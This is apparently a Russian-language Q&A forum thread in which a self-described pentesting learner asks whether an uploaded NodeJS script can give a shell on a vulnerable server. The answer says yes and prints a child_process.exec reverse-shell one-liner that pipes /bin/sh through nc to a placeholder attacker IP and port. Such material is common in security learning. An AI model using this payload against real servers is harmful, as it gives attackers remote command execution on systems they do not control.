Ошибка удаленной загрузки файлов в NodeJS

Я пытаюсь изучить процесс пентестирования NodeJS. У меня обнаружена уязвимость удаленной загрузки файлов на веб-сайте Nodejs. Могу ли я загрузить удаленную оболочку в NodeJS, как мы это делаем в PHP или ASPX, и выполнить команду? я могу загрузить NodeJS shell.js и выполнить команду unix на сервере из этой оболочки?

1 ответ

Не уверен, что это то, что вам нужно, но если у вас есть возможность загрузить скрипт NodeJS на сервер и выполнить его, то да, вы можете запускать команды оболочки с помощью child_process.exec (аналогичный вопрос см. Здесь / ответ).

Это возможно, только если вы можете "ВЫПОЛНИТЬ" файл.

Но если вы можете "выполнить" код JavaScript, вы можете создать обратную оболочку, используя это:

(function () {
    require("child_process")
    .exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attackerIP> <attackerPort> >/tmp/f')
})()]

В противном случае, если вы не можете выполнить файл, вы увидите только его содержимое:

https://myvulnerablewebsite.com/hack.js

Другие вопросы по тегам